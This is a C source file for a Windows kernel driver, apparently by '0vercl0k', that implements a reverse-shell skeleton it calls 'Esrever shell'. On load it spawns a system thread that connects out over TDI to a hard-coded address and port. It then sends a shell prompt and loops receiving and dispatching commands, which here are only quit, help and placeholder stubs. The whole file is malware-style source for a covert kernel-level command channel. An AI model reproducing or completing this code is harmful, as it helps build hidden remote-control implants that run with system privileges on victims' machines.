#include <wdm.h>
#include <TdiKrnl.h>
#include <stdlib.h>
#define LEVEL 2
#define PRINTF if(LEVEL == 2)DbgPrint
#define APRINTF if(LEVEL == 1 || LEVEL == 2)DbgPrint
#define INETADDR(a,b,c,d) (a | b<<8 | c<<16 | d<<24)
#define HTONS(a) ( ((unsigned short int)a>>8) | (((unsigned short int)a<<8) & 0xFF00) )
#define TCP_DEVICE_U L"\\Device\\Tcp"
#define HELP "Esrever codé par 0vercl0k.\r\n\r\n"
NTSTATUS unload(PDRIVER_OBJECT pDrivObj);
HANDLE createTransportObject();
HANDLE createConnectionObject();
NTSTATUS associateTransportAndConnectionObject(PDEVICE_OBJECT pTcpDevice , PUCHAR pConnectionObj , HANDLE hTransportObj);
NTSTATUS connectToRemoteServer(PDEVICE_OBJECT pTcpDevice , PUCHAR pConnectionObj , char* ip , int port);
NTSTATUS sendData(PDEVICE_OBJECT pTcpDevice , PUCHAR pConnectionObj , PUCHAR pBuffer , int size);
int recvData(PDEVICE_OBJECT pTcpDevice , PUCHAR pConnectionObj , PUCHAR pBuffer , int size);
NTSTATUS parseIp(char* sIp , int* ip);
NTSTATUS disconnect(PDEVICE_OBJECT pTcpDevice , PUCHAR pConnectionObj);
NTSTATUS disassociateHandles(PDEVICE_OBJECT pTcpDevice , PUCHAR pConnectionObj);
VOID doTheStuff();
int dispatchCmd(PUCHAR buf , PDEVICE_OBJECT pTcpDevice , PUCHAR pConnectionObj);
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObj , PUNICODE_STRING pRegistryPath)
{
HANDLE thread;
NTSTATUS status;
OBJECT_ATTRIBUTES obj;
DbgPrint("Driver Entry - Esrever llehs par 0vercl0k :).\n");
pDriverObj->DriverUnload = unload;
InitializeObjectAttributes(&obj, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
if((status = PsCreateSystemThread(&thread , THREAD_ALL_ACCESS , &obj , NULL , NULL , (PKSTART_ROUTINE)doTheStuff , NULL)) != STATUS_SUCCESS)
{
APRINTF("PsCreateSystemThread!DriverEntry() sux : 0x%x.\n" , status);
return STATUS_SUCCESS;
}
ZwClose(&thread);
return STATUS_SUCCESS;
}
NTSTATUS unload(PDRIVER_OBJECT pDrivObj)
{
DbgPrint("TDI interface unloaded.\n");
return STATUS_SUCCESS;
}
HANDLE createConnectionObject()
{
UNICODE_STRING uName;
OBJECT_ATTRIBUTES objAttribTdi;
HANDLE hConnectionObj;
IO_STATUS_BLOCK ioStatus;
NTSTATUS status;
PFILE_FULL_EA_INFORMATION pFileEa;
PTA_IP_ADDRESS pTaIp;
CONNECTION_CONTEXT* pConnectionC;
int sizeStruct;
RtlInitUnicodeString(&uName , TCP_DEVICE_U);
InitializeObjectAttributes(&objAttribTdi , &uName , OBJ_KERNEL_HANDLE , NULL , NULL);
sizeStruct = sizeof(FILE_FULL_EA_INFORMATION) + TDI_CONNECTION_CONTEXT_LENGTH + 1 + sizeof(CONNECTION_CONTEXT);
pFileEa = ExAllocatePoolWithTag(NonPagedPool , sizeStruct , 't4pz');
if(pFileEa == NULL)
{
PRINTF("[!] ExAllocatePoolWithTag!createConnectionObject() sux.\n");
return NULL;
}
memset(pFileEa , 0 , sizeStruct);
pFileEa->EaValueLength = sizeof(CONNECTION_CONTEXT);
pFileEa->NextEntryOffset = 0;
pFileEa->Flags = 0;
pFileEa->EaNameLength = TDI_CONNECTION_CONTEXT_LENGTH; memcpy(pFileEa->EaName , TdiConnectionContext , TDI_CONNECTION_CONTEXT_LENGTH); pConnectionC = (CONNECTION_CONTEXT*)(pFileEa->EaName + pFileEa->EaNameLength + 1);
memset(pConnectionC , 0 , sizeof(CONNECTION_CONTEXT)); status = ZwCreateFile(&hConnectionObj , GENERIC_READ|GENERIC_WRITE ,
&objAttribTdi , &ioStatus ,
0 , FILE_ATTRIBUTE_NORMAL ,
FILE_SHARE_READ , FILE_OPEN , 0 ,
pFileEa , sizeStruct);
ExFreePoolWithTag(pFileEa , 't4pz');
if(status != STATUS_SUCCESS)
{
PRINTF("[!] ZwCreateFile!createConnectionObject() sux : 0x%x.\n" , status);
goto clean;
}
PRINTF("Connection object créé.\n");
goto end;
clean:
ZwClose(hConnectionObj);
return NULL;
end:
return hConnectionObj;
}
HANDLE createTransportObject()
{
UNICODE_STRING uName;
OBJECT_ATTRIBUTES objAttribTdi;
HANDLE hTransportObj; IO_STATUS_BLOCK ioStatus;
NTSTATUS status;
PFILE_FULL_EA_INFORMATION pFileEa;
PTA_IP_ADDRESS pTaIp;
int sizeStruct;
RtlInitUnicodeString(&uName , TCP_DEVICE_U);
InitializeObjectAttributes(&objAttribTdi , &uName , OBJ_KERNEL_HANDLE , NULL , NULL);
sizeStruct = sizeof(FILE_FULL_EA_INFORMATION) + TDI_TRANSPORT_ADDRESS_LENGTH + 1 + sizeof(TA_IP_ADDRESS);
pFileEa = ExAllocatePoolWithTag(NonPagedPool , sizeStruct , 't4pz');
if(pFileEa == NULL)
{
PRINTF("[!] ExAllocatePoolWithTag!createTransportObject() sux .\n");
return NULL;
}
memset(pFileEa , 0 , sizeStruct);
pFileEa->EaValueLength = sizeof(TA_IP_ADDRESS);
pFileEa->NextEntryOffset = 0;
pFileEa->Flags = 0;
pFileEa->EaNameLength = TDI_TRANSPORT_ADDRESS_LENGTH; memcpy(pFileEa->EaName , TdiTransportAddress , TDI_TRANSPORT_ADDRESS_LENGTH); pTaIp = (PTA_IP_ADDRESS)(pFileEa->EaName + pFileEa->EaNameLength + 1);
pTaIp->TAAddressCount = 1;
pTaIp->Address[0].AddressLength = TDI_ADDRESS_LENGTH_IP; pTaIp->Address[0].AddressType = TDI_ADDRESS_TYPE_IP; pTaIp->Address[0].Address[0].in_addr = 0; pTaIp->Address[0].Address[0].sin_port = 0; RtlZeroMemory(&pTaIp->Address[0].Address[0].sin_zero , sizeof(pTaIp->Address[0].Address[0].sin_zero));
status = ZwCreateFile(&hTransportObj , GENERIC_WRITE|GENERIC_READ ,
&objAttribTdi , &ioStatus ,
0 , FILE_ATTRIBUTE_NORMAL ,
FILE_SHARE_READ , FILE_OPEN , 0 ,
pFileEa , sizeStruct);
ExFreePoolWithTag(pFileEa , 't4pz');
if(status != STATUS_SUCCESS)
{
PRINTF("[!] ZwCreateFile!createTransportObject() : 0x%x.\n" , status);
ZwClose(hTransportObj);
return NULL;
}
PRINTF("Transport object créé.\n");
return hTransportObj;
}
NTSTATUS associateTransportAndConnectionObject(PDEVICE_OBJECT pTcpDevice , PUCHAR pConnectionObj , HANDLE hTransportObj)
{
KEVENT event;
IO_STATUS_BLOCK ioStatus;
PIRP pIrp;
NTSTATUS status;
KeInitializeEvent(&event , NotificationEvent , FALSE); pIrp = TdiBuildInternalDeviceControlIrp(TDI_ASSOCIATE_ADDRESS , pTcpDevice , pConnectionObj , &event , &ioStatus);
if(pIrp == NULL)
{
PRINTF("TdiBuildInternalDeviceControlIrp!associateTransportAndConnectionObject() - sux.\n");
return STATUS_UNSUCCESSFUL;
}
TdiBuildAssociateAddress(pIrp , pTcpDevice , (PFILE_OBJECT)pConnectionObj , NULL , NULL , hTransportObj);
status = IoCallDriver(pTcpDevice , pIrp);
if(status == STATUS_PENDING)
{
PRINTF("Attendons que le traitement de l'irp soit finit :).\n");
KeWaitForSingleObject(&event , Executive , KernelMode , FALSE , 0);
}
if(ioStatus.Status != STATUS_SUCCESS)
{
PRINTF("[!] IoCallDriver sux!associateTransportAndConnectionObject() : 0x%x.\n" , ioStatus.Status);
return STATUS_UNSUCCESSFUL;
}
PRINTF("Le transport object et le connection object sont liés.\n");
return STATUS_SUCCESS;
}
NTSTATUS connectToRemoteServer(PDEVICE_OBJECT pTcpDevice , PUCHAR pConnectionObj , char* ip , int port)
{
KEVENT event;
IO_STATUS_BLOCK ioStatus;
PIRP pIrp;
TA_IP_ADDRESS ipAddr;
TDI_CONNECTION_INFORMATION connectInfo;
int nIp[4];
NTSTATUS status;
if(parseIp(ip , nIp) != STATUS_SUCCESS)
return STATUS_UNSUCCESSFUL;
KeInitializeEvent(&event , NotificationEvent , FALSE);
pIrp = TdiBuildInternalDeviceControlIrp(TDI_CONNECT , pTcpDevice , pConnectionObj , &event , &ioStatus);
if(pIrp == NULL)
{
PRINTF("[!] TdiBuildInternalDeviceControlIrp!connectToRemoteServer() sux .\n");
return STATUS_UNSUCCESSFUL;
}
ipAddr.TAAddressCount = 1;
ipAddr.Address[0].AddressLength = TDI_ADDRESS_LENGTH_IP;
ipAddr.Address[0].AddressType = TDI_ADDRESS_TYPE_IP;
ipAddr.Address[0].Address[0].sin_port = HTONS(port);
ipAddr.Address[0].Address[0].in_addr = INETADDR(nIp[0],nIp[1],nIp[2],nIp[3]);
connectInfo.UserDataLength = 0;
connectInfo.UserData = 0;
connectInfo.OptionsLength = 0;
connectInfo.Options = 0;
connectInfo.RemoteAddressLength = sizeof(ipAddr);
connectInfo.RemoteAddress = &ipAddr;
TdiBuildConnect(pIrp , pTcpDevice , (PFILE_OBJECT)pConnectionObj , NULL , NULL , NULL , &connectInfo , NULL);
status = IoCallDriver(pTcpDevice , pIrp);
if(status == STATUS_PENDING)
{
PRINTF("Attendons que le traitement de l'irp soit finit :).\n");
KeWaitForSingleObject(&event , Executive , KernelMode , FALSE , 0);
}
if(ioStatus.Status != STATUS_SUCCESS)
{
PRINTF("[!] IoCallDriver!connectToRemoteServer() sux : 0x%x.\n" , ioStatus.Status);
return STATUS_UNSUCCESSFUL;
}
PRINTF("Connection effectuée à %d.%d.%d.%d.\n" , nIp[0] , nIp[1] , nIp[2] , nIp[3]);
return STATUS_SUCCESS;
}
NTSTATUS sendData(PDEVICE_OBJECT pTcpDevice , PUCHAR pConnectionObj , PUCHAR pBuffer , int size)
{
KEVENT event;
NTSTATUS status;
IO_STATUS_BLOCK ioStatus;
PIRP pIrp;
PMDL pMdl;
KeInitializeEvent(&event , NotificationEvent , FALSE);
pIrp = TdiBuildInternalDeviceControlIrp(TDI_SEND , pTcpDevice , pConnectionObj , &event , &ioStatus);
if(pIrp == NULL)
{
PRINTF("TdiBuildInternalDeviceControlIrp!sendData() sux.\n");
return STATUS_UNSUCCESSFUL;
}
pMdl = IoAllocateMdl(pBuffer , size , FALSE , FALSE , NULL);
if(pMdl == NULL)
{
PRINTF("IoAllocateMdl!sendData() sux.\n");
return STATUS_UNSUCCESSFUL;
}
__try
{
MmProbeAndLockPages(pMdl , KernelMode , IoModifyAccess);
}__except(EXCEPTION_EXECUTE_HANDLER)
{
PRINTF("MmProbeAndLockPages!sendData() sux.\n");
return STATUS_UNSUCCESSFUL;
}
TdiBuildSend(pIrp , pTcpDevice , (PFILE_OBJECT)pConnectionObj , NULL , NULL , pMdl , 0 , size);
status = IoCallDriver(pTcpDevice , pIrp);
if(status == STATUS_PENDING)
{
PRINTF("Attendons que l'envoit se termine :).\n");
KeWaitForSingleObject(&event , Executive , KernelMode , FALSE , 0);
}
if(ioStatus.Status != STATUS_SUCCESS)
{
PRINTF("[!] IoCallDriver!sendData() sux : 0x%x.\n" , ioStatus.Status);
return STATUS_UNSUCCESSFUL;
}
if(ioStatus.Information == 0)
{
PRINTF("[!] Aucune donnée n'a été envoyée.\n");
return STATUS_UNSUCCESSFUL;
}
PRINTF("Envois de %d octets effectué.\n" , ioStatus.Information);
return STATUS_SUCCESS;
}
NTSTATUS parseIp(char* sIp , int* ip)
{
char *pIp = sIp , *p[4] , *tmp;
int i;
for(i = 0 ; i < 4 ; i++)
{
if(i == 3)
tmp = sIp+strlen(sIp);
else
tmp = strstr(pIp,".");
if(tmp == NULL)
return STATUS_UNSUCCESSFUL;
p[i] = ExAllocatePoolWithTag(NonPagedPool , sizeof(char)*(tmp-pIp)+1 , 't4pz');
if(p[i] == NULL)
return STATUS_UNSUCCESSFUL;
memset(p[i],0,tmp-pIp+1);
memcpy(p[i],pIp,tmp-pIp);
ip[i] = atoi(p[i]);
ExFreePoolWithTag(p[i] , 't4pz');
pIp +=(tmp-pIp)+1;
}
return STATUS_SUCCESS;
}
int recvData(PDEVICE_OBJECT pTcpDevice , PUCHAR pConnectionObj , PUCHAR pBuffer , int size)
{
KEVENT event;
IO_STATUS_BLOCK ioStatus;
NTSTATUS status;
PIRP pIrp;
PMDL pMdl;
KeInitializeEvent(&event , NotificationEvent , FALSE);
pMdl = IoAllocateMdl(pBuffer , size , FALSE , FALSE , NULL);
if(pMdl == NULL)
{
PRINTF("IoAllocateMdl!recvData() sux.\n");
return -1;
}
__try
{
MmProbeAndLockPages(pMdl , KernelMode , IoModifyAccess);
}__except(EXCEPTION_EXECUTE_HANDLER)
{
PRINTF("MmProbeAndLockPages!recvData() sux.\n");
return -1;
}
pIrp = TdiBuildInternalDeviceControlIrp(TDI_RECEIVE , pTcpDevice , pConnectionObj , &event , &ioStatus);
if(pIrp == NULL)
{
PRINTF("[!] TdiBuildInternalDeviceControlIrp!recvData() sux.\n");
return -1;
}
TdiBuildReceive(pIrp , pTcpDevice , (PFILE_OBJECT)pConnectionObj , NULL , NULL , pMdl , TDI_RECEIVE_NORMAL , size);
status = IoCallDriver(pTcpDevice , pIrp);
if(status == STATUS_PENDING)
{
PRINTF("Attendons que la reception se termine :).\n");
KeWaitForSingleObject(&event , Executive , KernelMode , FALSE , 0);
}
if(ioStatus.Status != STATUS_SUCCESS)
{
PRINTF("[!] IoCallDriver!recvData() sux : 0x%x.\n" , ioStatus.Status);
return -1;
}
if(ioStatus.Information == 0)
{
PRINTF("[!] Aucune donnée n'a été reçus.\n");
return -1;
}
PRINTF("Reception de %d octets effectué.\n" , ioStatus.Information);
return ioStatus.Information;
}
NTSTATUS disconnect(PDEVICE_OBJECT pTcpDevice , PUCHAR pConnectionObj)
{
KEVENT event;
IO_STATUS_BLOCK ioStatus;
PIRP pIrp;
NTSTATUS status;
KeInitializeEvent(&event , NotificationEvent , FALSE);
pIrp = TdiBuildInternalDeviceControlIrp(TDI_DISCONNECT , pTcpDevice , pConnectionObj , &event , &ioStatus);
if(pIrp == NULL)
{
PRINTF("[!] TdiBuildInternalDeviceControlIrp!disconnect() sux .\n");
return STATUS_UNSUCCESSFUL;
}
TdiBuildDisconnect(pIrp , pTcpDevice , (PFILE_OBJECT)pConnectionObj , NULL , NULL , NULL , TDI_DISCONNECT_RELEASE , NULL , NULL);
status = IoCallDriver(pTcpDevice , pIrp);
if(status == STATUS_PENDING)
{
PRINTF("Attendons que le traitement de l'irp soit finit :).\n");
KeWaitForSingleObject(&event , Executive , KernelMode , FALSE , 0);
}
if(ioStatus.Status != STATUS_SUCCESS)
{
PRINTF("[!] IoCallDriver!disconnect() sux : 0x%x.\n" , ioStatus.Status);
return STATUS_UNSUCCESSFUL;
}
PRINTF("Déconnection effectuée.\n");
return STATUS_SUCCESS;
}
NTSTATUS disassociateHandles(PDEVICE_OBJECT pTcpDevice , PUCHAR pConnectionObj)
{
KEVENT event;
IO_STATUS_BLOCK ioStatus;
PIRP pIrp;
NTSTATUS status;
KeInitializeEvent(&event , NotificationEvent , FALSE);
pIrp = TdiBuildInternalDeviceControlIrp(TDI_DISASSOCIATE_ADDRESS , pTcpDevice , pConnectionObj , &event , &ioStatus);
if(pIrp == NULL)
{
PRINTF("[!] TdiBuildInternalDeviceControlIrp!disassociateHandles() sux .\n");
return STATUS_UNSUCCESSFUL;
}
TdiBuildDisassociateAddress(pIrp , pTcpDevice , (PFILE_OBJECT)pConnectionObj , NULL , NULL);
status = IoCallDriver(pTcpDevice , pIrp);
if(status == STATUS_PENDING)
{
PRINTF("Attendons que le traitement de l'irp soit finit :).\n");
KeWaitForSingleObject(&event , Executive , KernelMode , FALSE , 0);
}
if(ioStatus.Status != STATUS_SUCCESS)
{
PRINTF("[!] IoCallDriver!disassociateHandles() sux : 0x%x.\n" , ioStatus.Status);
return STATUS_UNSUCCESSFUL;
}
PRINTF("Les handles ont été désassociés.\n");
return STATUS_SUCCESS;
}
VOID doTheStuff()
{
HANDLE hTransportObject , hConnectionObject;
PUCHAR pTransportObject , pConnectionObject;
PFILE_OBJECT pFileTmp;
PDEVICE_OBJECT pTcpDevice;
NTSTATUS status;
UNICODE_STRING uName;
char *pBufSend = "[Esrever!shell] : " , *pBufRecv;
hConnectionObject = NULL;
hTransportObject = NULL;
pConnectionObject = NULL;
pTransportObject = NULL;
hTransportObject = createTransportObject();
hConnectionObject = createConnectionObject();
if(hConnectionObject == NULL || hTransportObject == NULL)
{
APRINTF("[!] hConnectionObject || hTransportObject sux.\n");
goto end;
}
status = ObReferenceObjectByHandle(hConnectionObject , GENERIC_ALL , NULL , KernelMode , &pConnectionObject , NULL);
if(status != STATUS_SUCCESS)
{
APRINTF("[!] ObReferenceObjectByHandle!doTheStuff() sux : 0x%x.\n" , status);
goto end;
}
status = ObReferenceObjectByHandle(hTransportObject , GENERIC_ALL , NULL , KernelMode , &pTransportObject , NULL);
if(status != STATUS_SUCCESS)
{
APRINTF("[!] ObReferenceObjectByHandle2!doTheStuff() sux : 0x%x.\n" , status);
goto end;
}
RtlInitUnicodeString(&uName , TCP_DEVICE_U);
status = IoGetDeviceObjectPointer(&uName , FILE_ALL_ACCESS , &pFileTmp , &pTcpDevice);
if(status != STATUS_SUCCESS)
{
APRINTF("[!] IoGetDeviceObjectPointer sux : 0x%x.\n" , status);
goto end;
}
PRINTF("Pointeur sur le device tcp : %x.\n" , pTcpDevice);
status = associateTransportAndConnectionObject(pTcpDevice , pConnectionObject , hTransportObject);
if(status != STATUS_SUCCESS)
{
APRINTF("[!] associateTransportAndConnectionObject sux.\n");
goto end;
}
status = connectToRemoteServer(pTcpDevice , pConnectionObject , "127.0.0.1" , 80);
if(status != STATUS_SUCCESS)
{
APRINTF("[!] connectToRemoteServer() sux.\n");
goto end;
}
if(strlen(pBufSend) < 6)
APRINTF("Tentative d'envois de '%s'..\n" , pBufSend);
status = sendData(pTcpDevice , pConnectionObject , pBufSend , strlen(pBufSend));
if(status != STATUS_SUCCESS)
{
APRINTF("[!] sendData!doTheStuff() sux.\n");
goto end;
}
APRINTF("Reception..\n");
pBufRecv = ExAllocatePoolWithTag(NonPagedPool , 800 , 't4pz');
if(pBufRecv == NULL)
{
APRINTF("[!] ExAllocatePoolWithTag!doTheStuff() sux.\n");
goto end;
}
memset(pBufRecv , 0 , 800);
while((status = recvData(pTcpDevice , pConnectionObject , pBufRecv , 800)) != -1)
{
APRINTF("Buffer reçus : %s" , pBufRecv);
if(dispatchCmd(pBufRecv , pTcpDevice , pConnectionObject) == 'q')
break;
sendData(pTcpDevice , pConnectionObject , pBufSend , strlen(pBufSend));
memset(pBufRecv , 0 , 800);
}
end:
status = disconnect(pTcpDevice , pConnectionObject);
if(status != STATUS_SUCCESS)
APRINTF("[!] disconnect!doTheStuff() sux.\n");
status = disassociateHandles(pTcpDevice , pConnectionObject);
if(status != STATUS_SUCCESS)
APRINTF("[!] disassociateHandles!doTheStuff() sux.\n");
PsTerminateSystemThread(0);
}
int dispatchCmd(PUCHAR pBuf , PDEVICE_OBJECT pTcpDevice , PUCHAR pConnectionObj)
{
if(!strncmp("quit" , pBuf , 4) || !strncmp("Quit" , pBuf , 4))
return 'q';
if(!strncmp("Cmd1" , pBuf , 4))
{
DbgPrint("Cmd1 called.\n");
sendData(pTcpDevice , pConnectionObj , "[+] Cmd1 ok.\r\n\r\n" , strlen("[+] Cmd1 ok.\r\n\r\n"));
}
if(!strncmp("Cmd2" , pBuf , 4))
{
DbgPrint("Cmd2 called.\n");
sendData(pTcpDevice , pConnectionObj , "[+] Cmd2 ok.\r\n\r\n" , strlen("[+] Cmd2 ok.\r\n\r\n"));
}
if(!strncmp("help" , pBuf , 4) || !strncmp("Help" , pBuf , 4))
sendData(pTcpDevice , pConnectionObj , HELP , strlen(HELP));
return 1;
}